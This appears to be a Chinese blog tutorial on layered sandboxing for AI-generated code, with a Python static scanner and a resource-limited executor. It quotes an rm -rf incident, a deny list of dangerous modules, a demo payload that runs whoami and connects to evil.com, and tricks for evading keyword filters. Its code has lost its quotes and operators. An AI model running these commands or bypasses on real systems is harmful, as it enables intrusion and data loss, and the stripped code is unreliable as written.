沙箱安全与代码注入防护：让AI生成的代码在隔离环境中运行

沙箱安全与代码注入防护让AI生成的代码在隔离环境中运行一、rm -rf / 写在 AI 题解里了我们的AI题解生成模型测试期出过一个经典事故做实验的同事用自己的账号跑推理把一段包含os.system(rm -rf /home/test/*)的题解代码直接丢进了服务器执行。虽然 Linux 权限兜底了但这件事说明任何未经验证的用户输入包括AI生成的代码在执行之前都必须经过沙箱隔离。问题不止是恶意代码。即使 AI 生成的代码是善意的也可能包含无限循环耗 CPU、大量内存分配拖垮宿主机、文件写入污染环境、网络请求数据泄露。沙箱不是安全部门的专属职责而是任何执行用户代码的系统的基本要求。沙箱安全不是要不要做而是做多少层。每增加一层限制攻击面就缩小一圈。但过多的限制会降低正常代码的可用性——比如很多算法题需要读写文件。所以沙箱的设计要在安全和可用之间找到平衡。二、多层防护从静态扫描到系统级隔离一个完整的沙箱需要四层防护。任何一层击穿下一层兜底。import re import os import ast import signal import resource import subprocess import tempfile from typing import List, Tuple, Dict from dataclasses import dataclass dataclass class SandboxConfig: 沙箱配置 max_cpu_time_sec: int 10 # 最大CPU时间 max_wall_time_sec: int 15 # 最大墙上时间含IO等待 max_memory_mb: int 256 # 最大内存MB max_output_bytes: int 102400 # 最大输出100KB allowed_modules: List[str] None # 允许的 Python 模块 forbidden_patterns: List[str] None # 禁止的代码模式 def __post_init__(self): if self.allowed_modules is None: self.allowed_modules [ math, collections, heapq, itertools, functools, bisect, random, re, typing, copy, json ] if self.forbidden_patterns is None: self.forbidden_patterns [ ros\., # OS 操作 rsubprocess, # 子进程 rsocket, # 网络 rrequests, # HTTP rsys\.exit, # 退出进程 reval\s*\(, # 动态执行 rexec\s*\(, # 动态执行 r__import__, # 动态导入 ropen\s*\(, # 文件操作 rshutil, # 文件系统操作 rglob\., # 文件系统操作 rctypes, # C类型调用 rmultiprocessing, # 多进程 rthreading, # 多线程 ] class CodeSecurityScanner: 第1层静态安全扫描 在代码执行之前通过模式匹配和AST分析 拦截已知的危险模式。 这不是完美的——恶意代码可以通过各种方式绕过 关键词匹配。但它是低成本的第一道防线 能拦截90%的常见攻击。 def __init__(self, config: SandboxConfig): self.config config def scan_patterns(self, code: str) - Tuple[bool, List[str]]: 扫描禁止的代码模式 Returns: (is_safe, violations) - 是否安全 违规模式列表 violations [] for pattern in self.config.forbidden_patterns: if re.search(pattern, code): violations.append(pattern) return len(violations) 0, violations def scan_imports(self, code: str) - Tuple[bool, List[str]]: 扫描 import 语句检查模块白名单 两种 import 形式都要检查 - import module → 直接在顶层命名 - from module import name → 只检查 module 部分 illegal_imports [] try: tree ast.parse(code) except SyntaxError: return False, [代码语法错误无法解析AST] for node in ast.walk(tree): if isinstance(node, ast.Import): for alias in node.names: module_name alias.name.split(.)[0] if module_name not in self.config.allowed_modules: illegal_imports.append(module_name) elif isinstance(node, ast.ImportFrom): if node.module: module_name node.module.split(.)[0] if module_name not in self.config.allowed_modules: illegal_imports.append(module_name) return len(illegal_imports) 0, illegal_imports def scan_resource_usage(self, code: str) - dict: 静态分析代码的资源使用特征 这是一个启发式分析不是精确的 - 嵌套循环数 → CPU 风险 - 列表/字典创建数 → 内存风险 - 递归函数 → 栈溢出风险 loop_count len(re.findall(r\b(for|while)\b, code)) list_creation len(re.findall( r\[\s*[^\]]*\s(?:for|in)\s, code )) # 列表推导式 recursive def in code and re.search( rreturn\s\w\s*\(, code ) is not None risk_level low risks [] if loop_count 5: risk_level medium risks.append(f多个循环{loop_count}个) if list_creation 3: risks.append(f多个列表推导式{list_creation}个) if recursive: risk_level medium risks.append(递归调用可能栈溢出) if loop_count 10 or (loop_count 5 and recursive): risk_level high risks.append(高风险复杂嵌套操作) return { risk_level: risk_level, risks: risks, loop_count: loop_count, list_creations: list_creation, has_recursion: recursive } def full_scan(self, code: str) - dict: 执行完整的安全扫描 pattern_safe, pattern_violations self.scan_patterns(code) import_safe, illegal_modules self.scan_imports(code) resource_analysis self.scan_resource_usage(code) passed pattern_safe and import_safe return { passed: passed, pattern_violations: pattern_violations, illegal_modules: illegal_modules, resource_risk: resource_analysis, reject_reason: ( f禁止模式: {pattern_violations} if pattern_violations else f非法模块: {illegal_modules} if illegal_modules else None ) } class SafeExecutor: 第2层资源限制执行器 在 Python 进程级别强制执行资源限制 - CPU 时间通过 signal.SIGALRM - 内存通过 resource.setrlimit - 输出大小通过管道截断 注意这只适用于在同一进程中执行。 生产环境应使用子进程或 Docker 容器隔离。 def __init__(self, config: SandboxConfig): self.config config self._timed_out False def _timeout_handler(self, signum, frame): SIGALRM 处理器CPU时间超时时触发 self._timed_out True raise TimeoutError(代码执行超时) def execute(self, code: str, stdin_data: str ) - dict: 在资源限制下执行代码 这只是一个演示。生产环境应使用 - subprocess独立进程隔离 - nsjailnamespace seccomp cgroups - gVisorGoogle的容器沙箱 # 设置资源限制 max_mem self.config.max_memory_mb * 1024 * 1024 # 限制CPU时间软限制 resource.setrlimit( resource.RLIMIT_CPU, (self.config.max_cpu_time_sec, self.config.max_cpu_time_sec) ) # 限制内存软限制 硬限制 resource.setrlimit( resource.RLIMIT_AS, (max_mem, max_mem) ) # 设置CPU时间告警 signal.signal(signal.SIGALRM, self._timeout_handler) signal.alarm(self.config.max_wall_time_sec) # 在执行代码前修改全局命名空间 safe_globals { __builtins__: { # 只暴露安全的內建函数 print: print, len: len, range: range, int: int, float: float, str: str, list: list, dict: dict, set: set, tuple: tuple, bool: bool, type: type, sum: sum, min: min, max: max, abs: abs, sorted: sorted, enumerate: enumerate, zip: zip, map: map, filter: filter, all: all, any: any, isinstance: isinstance, round: round, pow: pow, divmod: divmod, reversed: reversed, slice: slice, True: True, False: False, None: None, Exception: Exception, } } start_time resource.getrusage(resource.RUSAGE_SELF).ru_utime try: # 编译并执行代码 compiled compile(code, sandbox, exec) exec(compiled, safe_globals) status completed error_msg None except MemoryError: status memory_limit_exceeded error_msg f内存超过限制{self.config.max_memory_mb}MB except TimeoutError: status time_limit_exceeded error_msg f执行超时{self.config.max_wall_time_sec}秒 except RecursionError: status recursion_limit error_msg 递归深度超限 except Exception as e: status runtime_error error_msg f{type(e).__name__}: {e} finally: signal.alarm(0) # 取消告警 end_time resource.getrusage(resource.RUSAGE_SELF).ru_utime cpu_time end_time - start_time # 获取内存使用峰值 max_rss resource.getrusage( resource.RUSAGE_SELF ).ru_maxrss / 1024 # KB → MB return { status: status, error: error_msg, cpu_time_sec: round(cpu_time, 3), wall_time_sec: round( resource.getrusage( resource.RUSAGE_SELF ).ru_utime, 3 ), memory_peak_mb: round(max_rss, 2), timed_out: self._timed_out } def run_sandbox_workflow(code: str) - dict: 完整的沙箱执行工作流 流程 1. 静态安全扫描第1层模式匹配 2. AST安全扫描第1层import检查 3. 资源限制执行第2层cgroups signal 4. 结果采集 任何一层失败都直接终止返回详细的错误信息。 config SandboxConfig() scanner CodeSecurityScanner(config) executor SafeExecutor(config) # 第1层安全扫描 scan_result scanner.full_scan(code) if not scan_result[passed]: return { status: rejected, stage: security_scan, reason: scan_result[reject_reason], scan_details: scan_result } # 第2层资源限制执行 exec_result executor.execute(code) return { status: exec_result[status], stage: execution, result: exec_result, scan_details: scan_result } def demo_sandbox(): 演示安全代码 vs 危险代码 safe_code def solve(nums, target): seen {} for i, num in enumerate(nums): complement target - num if complement in seen: return [seen[complement], i] seen[num] i return [] # 测试 print(solve([2, 7, 11, 15], 9)) dangerous_code import os import socket # 尝试执行系统命令 os.system(whoami) # 尝试网络连接 s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((evil.com, 8080)) unsafe_code import json # 在允许列表中 def bad_code(): # 超大列表内存攻击 huge [i ** i for i in range(1000000)] return huge print( * 50) print(安全代码测试) result run_sandbox_workflow(safe_code) print(f 状态: {result[status]}) print(f 阶段: {result[stage]}) print(\n * 50) print(危险代码测试) result run_sandbox_workflow(dangerous_code) print(f 状态: {result[status]}) print(f 原因: {result.get(reason, N/A)}) print(\n * 50) print(潜在风险代码测试) result run_sandbox_workflow(unsafe_code) print(f 状态: {result[status]}) if __name__ __main__: demo_sandbox()上面的实现是单机版的演示。生产环境的沙箱需要更强的隔离Docker 容器化每个代码执行在独立容器中seccomp 系统调用过滤只允许 read/write/exit_group 等有限 syscallcgroups v2精确控制 CPU、内存、IOtmpfs临时文件系统容器销毁即清理nsjail / gVisornamespace 系统调用拦截四、安全边界与漏报风险静态扫描永远无法发现所有攻击模式。例如# 绕过 os 关键词过滤 getattr(__builtins__, e xec)(print(hacked)) # 绕过 eval 关键词过滤 setattr(__builtins__, danger, lambda x: exec(x)) danger(print(oops))这些高级绕过方式在静态扫描面前是隐身的。这也是为什么静态扫描只是第一层防线它的价值是低成本拦截常见攻击但绝不可依赖它是唯一防线。真正提供安全保证的是第 2-4 层资源限制、容器隔离、系统调用白名单。五、总结安全是分层防御不是单一技术沙箱安全的核心理念是纵深防御层级防护手段拦截范围L1关键词 AST 扫描已知攻击模式90%L2资源限制无限循环、内存炸弹OOML3容器隔离文件系统、进程隔离L4seccomp iptables系统调用级别控制每层有不同的拦截率和成本。只用 L1关键词过滤不安全只用 L3Docker 容器可能让简单的无限循环逃过检测。组合使用才能在任何一层失效时仍有余量。三条实践建议永远不让用户代码和评估服务器运行在同一个进程空间至少在容器级别隔离Docker 是最低要求建立沙箱逃逸事件的告警机制——任何突破都意味着防护不足